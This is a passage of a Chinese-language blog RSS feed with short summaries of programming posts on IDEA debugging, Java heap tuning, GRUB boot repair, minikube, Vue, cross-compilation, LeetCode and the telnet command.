、 启动调试&#xA;3 、 单步执行&#xA;4 、 观察变量和执行流程，找到并解决问题。&#xA;1 添加断点 在源代码文件中，在想要设置断点的代码行的前面的标记行处，单击鼠标左键就可以设置断点，在相同位置再次单击即可取消断点 。&#xA;2 启动调试 IDEA提供多种方式来启动程序（Launch）的调试，分别是通过菜单（Run 一 &amp;gt; Debug）、图标 &#34; 绿色臭虫&#34; 等等&#xA;3 单步调试工具介绍 ：显示执行点（ALT + F10）：点击查看断点位置&#xA;：步过（F8）：进入下一步，如果当前行断点是调用一个方法，则不进入当前方法体内&#xA;：步入（F7）：进入下一步，如果当前行断点是调用一个自定义方法，则进入该方法体内</description>
    </item>
    <item>
      <title>老司机珍藏的130个网站，没人的时候偷偷看！</title>
      <link>https://bchobby.github.io/posts/86ed1e82103c436e859b0ab9d3b32090/</link>
      <pubDate>Thu, 26 Jan 2023 17:32:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86ed1e82103c436e859b0ab9d3b32090/</guid>
      <description>哈喽，各位读者老爷们，你们好，我是磊哥。&#xA;今天给大家分享一些宝藏学习资源网站，当然大家可以留言评论自己发现的优秀资源地址&#xA;搞学习&#xA;找书籍&#xA;冷知识 / 黑科技&#xA;写代码&#xA;资源搜索&#xA;小工具&#xA;导航页（工具集）&#xA;看视频&#xA;学设计&#xA;搞文档&#xA;找图片&#xA;搞学习 TED（最优质的演讲）：https://www.ted.com/&#xA;谷粉学术：https://gfsoso.99lb.net/scholar.html&#xA;大学资源网：http://www.dxzy163.com/&#xA;简答题：http://www.jiandati.com/&#xA;网易公开课：https://open.163.com/ted/&#xA;网易云课堂：https://study.163.com/&#xA;中国大学MOOC：www.icourse163.org&#xA;哔哩哔哩弹幕网：www.bilibili.com&#xA;我要自学网：www.51zxw.net&#xA;知乎：www.zhihu.com&#xA;学堂在线：www.xuetangx.com&#xA;爱课程：www.icourses.cn&#xA;猫咪论文：https://lunwen.im/&#xA;iData（论文搜索）：www.cn-ki.net&#xA;文泉考试：https://www.wqkaoshi.com&#xA;CSDN：https://www.csdn.net/&#xA;找书籍 书栈网（极力推荐）：https://www.bookstack.cn/&#xA;码农之家（计算机电子书下载）：www.xz577.com&#xA;鸠摩搜书：www.jiumodiary.com&#xA;云海电子图书馆：www.pdfbook.cn&#xA;周读（书籍搜索）：ireadweek.com&#xA;知轩藏书：http://www.zxcs.me/&#xA;脚本之家电子书下载：https://www.jb51.net/books/&#xA;搜书VIP-电子书搜索：http://www.soshuvip.com/all.html&#xA;书格（在线古籍图书馆）：https://new.shuge.org/&#xA;caj云阅读：http://cajviewer.cnki.net/cajcloud/&#xA;必看网（人生必看的书籍）：https://www.biikan.com/&#xA;冷知识 / 黑科技 上班摸鱼必备（假装电脑系统升级）：http://fakeupdate.net/&#xA;PIECES 拼图（30 个 CSS 碎片进行拼图，呈现 30 种濒临灭绝的动物）：http://www.species-in-pieces.com/&#xA;图片立体像素画：https://pissang.github.io/voxelize-image/&#xA;福利单词（一个不太正经的背单词网站）：http://dict.ftqq.com&#xA;查无此人（刷新网站，展现一张AI 生成的人脸照片）：https://thispersondoesnotexist.com/&#xA;在线制作地图图例：https://mapchart.net/&#xA;创意光线绘画：http://weavesilk.com/&#xA;星系观察：https://stellarium-web.org/&#xA;煎蛋：http://jandan.net/&#xA;渣男-说话的艺术：https://lovelive.tools/&#xA;全历史：https://www.allhistory.com/&#xA;iData：https://www.cn-ki.net/&#xA;术语在线：http://www.termonline.cn/&#xA;写代码 GitHub：https://github.com/</description>
    </item>
    <item>
      <title>对称矩阵的压缩存储、基于压缩矩阵的矩阵乘法</title>
      <link>https://bchobby.github.io/posts/3d681d3bb0ba712c77c06b190421bb13/</link>
      <pubDate>Thu, 26 Jan 2023 15:51:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d681d3bb0ba712c77c06b190421bb13/</guid>
      <description> def disp(A):#输出方阵A n=len(A) for i in range(n): for j in range(n): print(&#39;%d&#39;%(A[i][j]),end=&#34;&#34;) print() def compression(A,a):#压缩矩阵A到a中，A是一个对称矩阵 for i in range(len(A)): for j in range(i+1):#这两循环遍历了三角，可以理解为上三角或者是下三角 k=i*(i+1)//2+j#a中序号与A中序号之间的关系 a[k]=A[i][j] def getk(i,j):#求原矩阵中行号为i，列号为j在a中的位置 if i&amp;gt;=j: return(i*(i+1)//2+j) else: return(j*(j+1)//2+i) def Mult(a,b,C,n):#矩阵乘法，矩阵乘法的计算机形式的描述可以这样说，ij位置的元素的获得是这样操作的，第i行的所有元素*第j列的所有元素 for i in range(n): for j in range(n): s=0 for k in range(n):#这里是从a中获得相应的数字的 k1=getk(i,k) k2=getk(k,j) s+=a[k1]*b[k2] C[i][j]=s </description>
    </item>
    <item>
      <title>在oracle中， date、datetime的区别</title>
      <link>https://bchobby.github.io/posts/35ada7daf2695a73e281e26b03639208/</link>
      <pubDate>Thu, 26 Jan 2023 11:04:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35ada7daf2695a73e281e26b03639208/</guid>
      <description>一、格式不同&#xA;1、date：date支持的范围是 ＇1000－01－01＇ 到＇9999－12－31＇。&#xA;2、datetime：datetime支持的范围是＇1000－01－0100：00：00＇ 到 ＇9999－12－3123：59：59＇。&#xA;二、存储空间不同&#xA;1、date：date型数值用于需要一个日期值而不需要时间部分，占用3个字节。&#xA;2、datetime：datetime型数值用于需要同时包含日期和时间信息的值，占用8个字节。&#xA;三、精度不同&#xA;1、date：date转换为datetime会增加精度，时、分、秒、毫秒数都为0。&#xA;2、datetime：datetime转换为date会丢失精度，约去时、分、秒、毫秒数。</description>
    </item>
    <item>
      <title>Java内存溢出（outofmemory：Java heap space）更改堆大小</title>
      <link>https://bchobby.github.io/posts/98b13045ab90853bfc5c8b15ad75eeba/</link>
      <pubDate>Wed, 25 Jan 2023 23:30:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98b13045ab90853bfc5c8b15ad75eeba/</guid>
      <description> 背景 在跑一个项目的时候需要构建大量对象，导致出现内存溢出错误。去网上查需要修改堆大小，于是按照网上80%的方法修改了配置，结果依然内存溢出。于是，开启了半天的刨根问底之旅。&#xA;过程 第一阶段 首先是按照网上说的方法，打开idea在上方找到help，然后点击edit custom vm options，&#xA;然后就打开了下面这个文件，然后修改-Xmx，-Xms等堆内存设置，这已经是我改的乱七八糟的结果了。&#xA;然后关闭idea重启，运行程序，不行。。。&#xA;第二阶段 我开始搜索其他方法，有一个教程说，可以改settings里面的一些关于jvm的配置，重复了几次，改完后依然没有效果。&#xA;这时我开始学习借助工具分析，在jdk的bin目录下有一个程序叫jvisualvm.exe，它是jdk自带的分析工具。打开它，&#xA;打开长这样，&#xA;在你的程序启动之后，左侧栏里会有你的程序名，双击它，在右面会出现它的概述，监视等，都可以点进去。&#xA;下面就是platform的概述，可以看到我刚刚改的乱七八糟的配置。&#xA;点击监视就可以看到cpu，内存等的运行情况。&#xA;接下来，我便开始实验，发现无论怎么改vmoptions中的配置，在platform的概述中都能更新为修改后的内容。但是监视我的运行程序时发现，我的堆内存大小一点也没有变。。。并且堆的大小还没扩容到最大堆大小便开始频繁gc，最后内存溢出（开始焦虑）&#xA;第三阶段 为了搞明白为啥没用完堆内存就溢出，继续学习工具。&#xA;在刚刚的软件中点击，工具-&amp;gt;插件-&amp;gt;可用插件-&amp;gt;选择visual vm并开始下载安装。这个插件可以帮助我们看到新生代，老年代等具体的内存分配情况。&#xA;安装好后，再修改配置，跑几遍程序。发现了问题所在，无论我怎么修改配置，我的新生代，老年代的大小都没变，相当于修改无效。。。而在不断的创建对象和gc中，我的老年代满了。。。（无语）&#xA;我突然想到，还可以在程序的运行配置中添加参数，修改堆内存。于是，点击上方程序（xxxApplication）的小箭头，点击edit configurations，&#xA;然后在environment下的vm options中再加上你的修改，然后应用。&#xA;再运行程序，通过visual vm观察堆内存分配，发现okok，按照自己的配置分配内存了。完整的程序执行一遍，顺利顺利，没有内存溢出了。&#xA;至此，这个问题终于搞定了。。。（开心）&#xA;总结 之前遇到内存溢出问题的时候，也上网搜了好多答案，但是怕麻烦，所以一直拖着没有解决。今天逼着自己必须把它搞定，无论网上说的什么方法我都尝试，才有决心攻克难关。今天也学习了visual vm的使用，之前在网上看到相关用工具分析堆内存的帖子就退出去，还是畏难吧，今天按照教程打开了工具，下载了插件，发现也没有那么难，对jvm也有了新的理解。这次问题的排查过程，独立也不独立，希望以后遇到困难不要害怕，勇敢解决！ </description>
    </item>
    <item>
      <title>无法翻译此网页的解决办法 - GoogleTranslateIpCheck</title>
      <link>https://bchobby.github.io/posts/3a30f30778feedf08146ec13fb2eea56/</link>
      <pubDate>Wed, 25 Jan 2023 21:59:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a30f30778feedf08146ec13fb2eea56/</guid>
      <description>2022年9月末，网页翻译工具谷歌翻译停止了中国区服务。&#xA;GitHub 地址：https://github.com/Ponderfly/GoogleTranslateIpCheck&#xA;我用的是win10系统，所以下载的是Windows版。下载后解压，以管理员身份运行:&#xA;输入Y：&#xA;网页翻译就可以使用了。</description>
    </item>
    <item>
      <title>【已解决】Nacos2022.0.0.0-RC1 extension-configs无法注入@Value的问题</title>
      <link>https://bchobby.github.io/posts/d8eb5dddc3da5e3b4f734502ecffa8e8/</link>
      <pubDate>Tue, 24 Jan 2023 20:25:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8eb5dddc3da5e3b4f734502ecffa8e8/</guid>
      <description>解决办法： data-id不要加yaml后缀！&#xA;正确：&#xA;nacos: discovery: server-addr: 127.0.0.1:8848 config: server-addr: 127.0.0.1:8848 file-extension: yaml extension-configs: - data-id: a refresh: true - data-id: b refresh: true Spring依赖用的这三个版本：&#xA;bootstrap.yml nacos: discovery: server-addr: 127.0.0.1:8848 config: server-addr: 127.0.0.1:8848 file-extension: yaml extension-configs: - data-id: a.yaml refresh: true - data-id: b.yaml refresh: true Controller&#xA;@RestController @RequestMapping(&#34;/config&#34;) @RefreshScope public class ConfigClientController { @Value(&#34;${my.message}&#34;) private String message; @Value(&#34;${a}&#34;) private String a; @Value(&#34;${b}&#34;) private String b; @GetMapping(&#34;/query&#34;) public String getConfig(){ return message + a + b; } } Nacos SpringBoot无法启动 显示找不到字段</description>
    </item>
    <item>
      <title>【亲测有效】删除ubuntu（ubuntu、windows双系统）后进入GNU GRUB version 2.02~beta2-36ubuntu3.28界面，手工进入ubuntu内并修复引导项</title>
      <link>https://bchobby.github.io/posts/0d3ce82f8eee0cfe45a8284a5e4290b6/</link>
      <pubDate>Tue, 24 Jan 2023 19:57:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d3ce82f8eee0cfe45a8284a5e4290b6/</guid>
      <description>环境：ubuntu18.04和win10双系统&#xA;原因：安装双系统的时候将开机启动第一项改为ubuntu，然后在磁盘删除分区后，电脑重启无法找到开机启动第一项就会出现这个界面&#xA;输入exit即可解决问题&#xA;grub&amp;gt; exit&#xA;会直接进入windows&#xA;永久解决问题需要电脑重启长长按F2，进入BIOS选择boot，将开机启动第一项改为：windows boot manager（。。。）&#xA;按F10保存就可以，然后退出BIOS即可&#xA;——————————————————————————————————————————————————————&#xA;上述方案若还不能永久解决说明引导项出现问题，下面提供两种方法1.修复引导项(ubuntu修复和windows修复均可)2.或者全部重装系统包括windows，下面提供推荐的方法修复引导项方法&#xA;进ubuntu系统 一、查找grub所在分区&#xA;我们要进ubuntu系统就要找到ubuntu所在分区，因windows没有grub，grub所在分区即ubuntu安装所在分区，在安装ubuntu系统时没有分区时是建在/boot/grub,若安装系统分区的话可能在/grub文件夹下。输入如下指令寻找&#xA;grub&amp;gt; ls # 查看所有硬盘及硬盘分区 显示：(hd0,gpt0),(hd0,gpt1),(hd0,gpt2),(hd0,gpt3) #显示有可能不同，hd代表硬盘，gpt0这种代表分区 #接下来一个一个查看分区内容如 grub&amp;gt; ls (hd0,gpt0)/boot/grub #可能会显示：error:unknown filesystem，这说明这不是我们要找的分区，接着修改硬盘号和分区号继续尝试 grub&amp;gt; ls (hd0,gpt0)/grub #直到显示一些代ubuntu或者linux或者内核版本信息的时候就是ubuntu安装的分区了 找到grub所在分区即找到ubuntu分区，下面进入ubuntu系统&#xA;# 以(hd0,gpt1)为ubuntu分区为例 grub&amp;gt; set root=(hd0,gpt1) grub&amp;gt; set prefix=(hd0,gpt1)/boot/grub grub&amp;gt; insmod normal grub&amp;gt; normal 下面就能进到ubuntu图像化界面了，再进行系统引导项修复&#xA;二、ubuntu系统修复引导项&#xA;# 任意打开终端输入 sudo update-grub sudo grub-install /dev/sda #这个sda不要添加任何数字如sda1或者sda0之类的，这里的sda就是指当前所在硬盘 这样就修复好了，如果有如下报错&#xA;Installing for i386-pc platform. grub-install: warning: this GPT partition label contains no BIOS Boot Partition; embedding won&#39;t be possible.</description>
    </item>
    <item>
      <title>python定义字符数组</title>
      <link>https://bchobby.github.io/posts/164d38ab48f848997197b7a6511347f6/</link>
      <pubDate>Mon, 23 Jan 2023 14:51:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/164d38ab48f848997197b7a6511347f6/</guid>
      <description> 在 Python 中可以使用列表或者 numpy 数组来定义字符数组。&#xA;使用列表定义：&#xA;char_array = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;] 使用 numpy 定义：&#xA;import numpy as np char_array = np.array([&#39;a&#39;, &#39;b&#39;, &#39;c&#39;]) 需要注意的是，numpy 默认会将数组中的元素视为数值类型，如果需要存储字符或字符串，需要指定 dtype 为 &#39;U&#39; 或 &#39;S&#39; 。&#xA;char_array = np.array([&#39;a&#39;, &#39;b&#39;, &#39;c&#39;], dtype=&#39;U&#39;) 如果你想要字符数组更类似c语言数组，可以使用c-types库中的c_char_Array_x来定义。&#xA;from ctypes import * char_array = (c_char *3)() char_array[0] = b&#39;a&#39; char_array[1] = b&#39;b&#39; char_array[2] = b&#39;c&#39; </description>
    </item>
    <item>
      <title>基于ssm图书馆管理系统源码和论文</title>
      <link>https://bchobby.github.io/posts/e4a4b0b5f8e83011ec0cdc43d96f065c/</link>
      <pubDate>Sun, 22 Jan 2023 19:53:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4a4b0b5f8e83011ec0cdc43d96f065c/</guid>
      <description>开发工具：idea (eclipse) 环境：jdk1.8 mysql5.7&#xA;演示视频： 【java毕业设计】基于ssm图书馆管理系统源码和论文&#xA;随着社会的发展，计算机的优势和普及使得图书馆管理的开发成为必需。图书馆管理主要是借助计算机，通过对用户管理、图书类型管理、图书信息管理、图书借阅管理、图书归还管理、公告信息管理等信息进行管理。减少管理员的工作，同时也方便广大用户对图书信息的及时查看以及管理。&#xA;图书馆管理系统的开发过程中，采用B / S架构，主要使用SSM技术进行开发，结合最新流行SSM框架技术。中间件服务器是Tomcat服务器，使用Mysql数据库和Eclipse开发环境。该图书馆管理包括用户和管理员。其主要功能包括管理员：首页、个人中心、用户管理、图书类型管理、图书信息管理、图书借阅管理、图书归还管理、公告信息管理、系统管理，用户：首页、个人中心、图书借阅管理、图书归还管理、我的收藏管理等功能。&#xA;本论文对图书馆管理系统的发展背景进行详细的介绍，并且对系统开发技术进行介绍，然后对系统进行需求分析，对图书馆管理业务流程、系统结构以及数据都进行详细说明。用户可根据关键字进行信息的查找自己想要的图书等。&#xA;关键词：图书馆管理系统，Mysql数据库，Java技术&#xA;package com.controller; import com.baomidou.mybatisplus.mapper.EntityWrapper; import com.baomidou.mybatisplus.mapper.Wrapper; import com.entity.TushujieyueEntity; import com.entity.TushuxinxiEntity; import com.entity.view.TushujieyueView; import com.entity.view.TushuxinxiView; import com.service.TushujieyueService; import com.service.TushuxinxiService; import com.utils.MPUtil; import com.utils.PageUtils; import com.utils.R; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; import java.text.SimpleDateFormat; import java.util.*; /** * 图书借阅 * 后端接口 * * @author * @email * @date 2023-02-26 17:05:30 */ @RestController @RequestMapping(&#34;/tushujieyue&#34;) public class TushujieyueController { @Autowired private TushujieyueService tushujieyueService; @Autowired private TushuxinxiService tushuxinxiService; /** * 后端列表 */ @RequestMapping(&#34;</description>
    </item>
    <item>
      <title>Leetcode：131. 分割回文串（C&#43;&#43;）</title>
      <link>https://bchobby.github.io/posts/1491fb900a549ad8c34c136cb500e833/</link>
      <pubDate>Sun, 22 Jan 2023 13:06:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1491fb900a549ad8c34c136cb500e833/</guid>
      <description>目录&#xA;问题描述：&#xA;实现代码与解析：&#xA;回溯：&#xA;原理思路：&#xA;问题描述： 给你一个字符串 s，请你将 s 分割成一些子串，使每个子串都是 回文串 。返回 s 所有可能的分割方案。&#xA;回文串 是正着读和反着读都一样的字符串。&#xA;示例 1：&#xA;输入：s = &#34;aab&#34; 输出：[[&#34;a&#34;,&#34;a&#34;,&#34;b&#34;],[&#34;aa&#34;,&#34;b&#34;]] 示例 2：&#xA;输入：s = &#34;a&#34; 输出：[[&#34;a&#34;]] 实现代码与解析： 回溯： class Solution { public: //判断是否为回文 bool isPalindrome(string s) { int head=0;//头指针 int end=s.size()-1;//尾指针 while(head&amp;lt;end) { if(s[head]!=s[end]) return false; head++; end--; } return true; } vector&amp;lt;string&amp;gt; path; vector&amp;lt;vector&amp;lt;string&amp;gt;&amp;gt; result;//记录结果 void backtrack(string s,int startIndex) { //起始位置大于字符串大小，说明已经找到了分割结果 if(startIndex==s.size()) { result.push_back(path); return; } for(int i=startIndex;i&amp;lt;s.</description>
    </item>
    <item>
      <title>minikube 基础操作1</title>
      <link>https://bchobby.github.io/posts/907c32a52b3982a753a3de9e482172fc/</link>
      <pubDate>Sat, 21 Jan 2023 17:18:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/907c32a52b3982a753a3de9e482172fc/</guid>
      <description>0 目录 1 基本概念（cluster，minikune)&#xA;2 一些概念(pod，eployment等）&#xA;3 常用命令&#xA;4 expose app&#xA;5 使用label&#xA;6 scale&#xA;20 问题&#xA;1 基本概念 1.1 架构 cluster指集群的意思，翻译过来就是你这套部署了kubernete的环境&#xA;图片链接 Using Minikube to Create a Cluster | Kubernetes&#xA;1.2 启动minikube minikube start&#xA;1.3 查看minikube 和minikube client server版本 kubectl version&#xA;1.4 查看cluster有哪些组件，和组件信息&#xA;kubelctl cluster-info&#xA;2 一些概念 2.1 创建deployment 创建deployment后，会有个deployment controller管理创建的deployment，创建deployment后，deployment coltroller会持续监控创建的deployment。比如当主机删除导致instance（注意是instance而不是pod，管理对象不同）删减时，deployment coltroller会检测到并重新schedule一个node，保持instance数量符合设定值。deployment的创建需要指定镜像。&#xA;kubectl create deployment kubernetes-bootcamp --image=gcr.io/google-samples/kubernetes-bootcamp:v1&#xA;创建完可以用kubectl get pods 或 kubectl get deployment查看创建结果&#xA;2.2 pods pod内的容器共享resource（volume、网络（如ip地址，port）等），也就是说，对外界来说，pod是最小操作单元，因为ip独立，pod再往里是container，container ip都一样外部难以操作，pod内部应该有管理container的机制，但对外，pod一般是最小操作单元</description>
    </item>
    <item>
      <title>flowable流程变量</title>
      <link>https://bchobby.github.io/posts/3b45a175ecf84e05e6cd56bfc108df68/</link>
      <pubDate>Sat, 21 Jan 2023 10:08:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b45a175ecf84e05e6cd56bfc108df68/</guid>
      <description>设置全局流程变量 流程变量 ： 是跟当前 流程实例 绑定的&#xA;流程变量会存放在 act_ru_variable 和 act_hi_varinst 这两个表中&#xA;act_ru_variable的task_id_为null&#xA;启动时设置 HashMap&amp;lt;String, Object&amp;gt; map = new HashMap&amp;lt;&amp;gt;(); map.put(&#34;reason&#34;,&#34;no reason&#34;); map.put(&#34;startTime&#34;,&#34;2023-1-20&#34;); map.put(&#34;endTime&#34;,&#34;2023-1-21&#34;); runtimeService.startProcessInstanceByKey(&#34;VariableDemo&#34;, map); public void test03(){ // 根据 执行实例id 查找变量 act_ru_variable List&amp;lt;Execution&amp;gt; list = runtimeService.createExecutionQuery().list(); System.out.println(&#34;list.size() = &#34; + list.size()); for (Execution execution : list) { // 查找指定变量 Object startTime = runtimeService.getVariable(execution.getId(), &#34;startTime&#34;); System.out.println(execution.getName()+&#34;===========&#34;+startTime); Map&amp;lt;String, Object&amp;gt; map = runtimeService.getVariables(execution.getId()); System.out.println(&#34;map = &#34; + map); } } 通过Task设置 public void test04(){ // task插入 也是 act_ru_variable 和 act_hi_varinst // 插入的时候 task_id 是 null，，， 设置全局流程变量 Task task = taskService.</description>
    </item>
    <item>
      <title>Python中数组转换成字符串</title>
      <link>https://bchobby.github.io/posts/37cabe0a948831247de749df0c92e7e6/</link>
      <pubDate>Sat, 21 Jan 2023 03:27:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37cabe0a948831247de749df0c92e7e6/</guid>
      <description>python中数组转换成字符串 数组转换成字符串可以使用下面这种方式将一个数组转换成字符串，其中arr是数组的数组名。&#xA;&#39;&#39;.join(arr) 用上面这种方式需要确保数组里面的内容也是字符串的形式，比如：&#xA;arr = [&#39;北京&#39;,&#39;上海&#39;,&#39;广州&#39;] 这样转换出来的结果是&#xA;&#39;北京上海广州&#39; 但是如果数组的内容是 arr = [1,2,3] 这种纯数字类型的数组，如果我们想将其转换成字符串的形式，我们需要通过下面这种方式转换成 &#39;123&#39;。&#xA;&#39;&#39;.join(str(i) for i in arr) 所以我们要区分数组里面原有的内容是什么样的数据类型！</description>
    </item>
    <item>
      <title>CSS3技巧32：CSS3制作经典进度条</title>
      <link>https://bchobby.github.io/posts/a2d374e36ed337a2b798822cc89e6e35/</link>
      <pubDate>Fri, 20 Jan 2023 22:22:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2d374e36ed337a2b798822cc89e6e35/</guid>
      <description>放假了，不想到处走亲戚。&#xA;窝在家里 coding 玩儿~&#xA;看到一个很不错的进度条效果，很简单，但是很好看，就写写练练手。&#xA;HTML 结构：&#xA;&amp;lt;!-- 进度条 --&amp;gt; &amp;lt;div class=&#34;jdt&#34;&amp;gt; &amp;lt;div class=&#34;jd_title&#34;&amp;gt;HTML&amp;lt;/div&amp;gt; &amp;lt;!-- 进度 --&amp;gt; &amp;lt;div class=&#34;jdbar&#34;&amp;gt; &amp;lt;div class=&#34;jdper&#34; per=&#34;50%&#34; style=&#34;max-width: 50%; &#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 进度 end --&amp;gt; &amp;lt;div class=&#34;jd_title&#34;&amp;gt;CSS&amp;lt;/div&amp;gt; &amp;lt;!-- 进度 --&amp;gt; &amp;lt;div class=&#34;jdbar&#34;&amp;gt; &amp;lt;div class=&#34;jdper&#34; per=&#34;40%&#34; style=&#34;max-width: 40%; &#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 进度 end --&amp;gt; &amp;lt;div class=&#34;jd_title&#34;&amp;gt;JavaScript&amp;lt;/div&amp;gt; &amp;lt;!-- 进度 --&amp;gt; &amp;lt;div class=&#34;jdbar&#34;&amp;gt; &amp;lt;div class=&#34;jdper&#34; per=&#34;60%&#34; style=&#34;max-width: 60%; &#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 进度 end --&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 进度条 end --&amp;gt; CSS：</description>
    </item>
    <item>
      <title>交叉编译（全志）</title>
      <link>https://bchobby.github.io/posts/815fcd5b548a4c5ca812dc93bbfd3119/</link>
      <pubDate>Fri, 20 Jan 2023 20:49:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/815fcd5b548a4c5ca812dc93bbfd3119/</guid>
      <description>文章目录 一、交叉编译概念二 、香橙派交叉编译3.带WiringPi库的交叉编译 一、交叉编译概念 交叉编译，就是：在一种平台上编译，编译出来的程序，是放到别的平台上运行即编译的环境，和运行的环境不一样，属于交叉的。&#xA;例：&#xA;在进行嵌入式开发时手上有个嵌入式开发板，CPU是arm的然后在x86的平台下开发，比如Ubuntu的Linux，或者是Win 10然后就需要：&#xA;在x86的平台上，（用交叉编译器）去编译你写好的程序代码&#xA;编译生成的（可执行的）程序，是放到目标开发板，arm的CPU上运行的。&#xA;这就是所谓：在x86平台上编译，在ARM平台上运行。&#xA;二 、香橙派交叉编译 1.全志交叉编译工具链下载&#xA;交叉编译工具链下载地址&#xA;在上述网址中下载&#xA;gcc-arm-9.2-2019.12-x86_64-aarch64-none-linux-gnu.tar.xz即为全志Orange Pi Zero 2 所用的应用程序的交叉编译工具链&#xA;2.交叉编译工具链的安装&#xA;（1）解压安装包&#xA;键入tar -xf gcc-arm-9.2-2019.12-x86_64-aarch64-none-linux-gnu.tar.xz解压安装包&#xA;（2）设置环境变量&#xA;进入解压后的文件夹并进入bin目录下&#xA;aarch64-none-linux-gnu-gcc即为全志交叉的交叉编译工具&#xA;a.设置临时有效的环境变量&#xA;PATH 环境变量&#xA;export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/home/rm/tool-masters/gcc-arm-9.2-2019.12-x86_64-aarch64-none-linux-gnu/bin games:后面为交叉编译工具链所在文件路径&#xA;b.设置永久有效的环境变量&#xA;修改工作目录下的.bashrc 隐藏文件&#xA;vi /home/RM/.bashrc 将配置的环境变量写到最后&#xA;保存退出后更新一下&#xA;source /home/rm/.bashrc 完成环境变量配置&#xA;3.交叉编译测试&#xA;在上位机编写test.c文件 并用交叉编译工具 编译&#xA;test.c&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { printf(&#34;hello world\n&#34;); return 0; } ~ aarch64-none-linux-gnu-gcc ./test.c -o test 在全志下运行编译出的test可执行文件&#xA;3.带WiringPi库的交叉编译 1.下载WiringPi库wiringPi库&#xA;2.将所需的库从全志拷贝到上位机：</description>
    </item>
    <item>
      <title>vue中利用ref实现更灵活的子向父传值</title>
      <link>https://bchobby.github.io/posts/5541944e4fce319d805769aa4899a287/</link>
      <pubDate>Fri, 20 Jan 2023 12:42:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5541944e4fce319d805769aa4899a287/</guid>
      <description>目录 前言一，基础代码二，层次递进的讲解用法2.1 给子组件设置ref2.2 自定义事件2.3 给子组件设置一个自定义事件 三，灵活性四，注意后记 前言 目前我们熟知的子向父传值有两种方式： 一种是在父组件中定义函数，然后将函数利用props传给子组件，子组件调用时父组件可以收到子组件的参数；另一种利用自定义事件，给子组件在父组件中绑定一个自定义事件，子组件利用$emit方式触发该自定义事件时可以将数据传给父亲。&#xA;今天介绍的是通过ref的方法实现子组件传值给父组件。这种方式比前两种方式用起来更加灵活。&#xA;这里附上涉及到的知识点链接，如有需要可以复习：&#xA;Vue组件之间的数据共享讲解&#xA;Vue中ref引用操作DOM元素&#xA;其中，第一篇文章中有涉及到子向父传值的传统方式。&#xA;一，基础代码 这里放上我的App（父组件）和Son（子组件）的代码，后续所有的改动在此基础之上：&#xA;（APP）&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;h2&amp;gt;子组件的msg:&amp;lt;/h2&amp;gt; &amp;lt;Son&amp;gt;&amp;lt;/Son&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import Son from &#39;./Son.vue&#39; export default { name: &#39;App&#39;, components: { Son } } &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; &amp;lt;/style&amp;gt; （Son）&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;h2&amp;gt;我是子组件&amp;lt;/h2&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;Son&#39;, data() { return { msg: &#39;巧克力小猫猿&#39; } } } &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; &amp;lt;/style&amp;gt; 二，层次递进的讲解用法 2.1 给子组件设置ref 这里我们给子组件设置一个ref，并查看父组件中的this.$refs中有什么（在mounted钩子函数中打印)：</description>
    </item>
    <item>
      <title>Linux常用命令——telnet命令</title>
      <link>https://bchobby.github.io/posts/aee79364ef343b7fd45dcafe2010ac2e/</link>
      <pubDate>Thu, 19 Jan 2023 23:11:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aee79364ef343b7fd45dcafe2010ac2e/</guid>
      <description>在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) telnet 登录远程主机和管理(测试ip端口是否连通)&#xA;补充说明 telnet命令用于登录远程主机，对远程主机进行管理。telnet因为采用明文传送报文，安全性不好，很多Linux服务器都不开放telnet服务，而改用更安全的ssh方式了。但仍然有很多别的系统可能采用了telnet方式来提供远程登录，因此弄清楚telnet客户端的使用方式仍是很有必要的。&#xA;语法 telnet(选项)(参数) 选项 -8：允许使用8位字符资料，包括输入与输出； -a：尝试自动登入远端系统； -b&amp;lt;主机别名&amp;gt;：使用别名指定远端主机名称； -c：不读取用户专属目录里的.telnetrc文件； -d：启动排错模式； -e&amp;lt;脱离字符&amp;gt;：设置脱离字符； -E：滤除脱离字符； -f：此参数的效果和指定&#34;-F&#34;参数相同； -F：使用Kerberos V5认证时，加上此参数可把本地主机的认证数据上传到远端主机； -k&amp;lt;域名&amp;gt;：使用Kerberos认证时，加上此参数让远端主机采用指定的领域名，而非该主机的域名； -K：不自动登入远端主机； -l&amp;lt;用户名称&amp;gt;：指定要登入远端主机的用户名称； -L：允许输出8位字符资料； -n&amp;lt;记录文件&amp;gt;：指定文件记录相关信息； -r：使用类似rlogin指令的用户界面； -S&amp;lt;服务类型&amp;gt;：设置telnet连线所需的ip TOS信息； 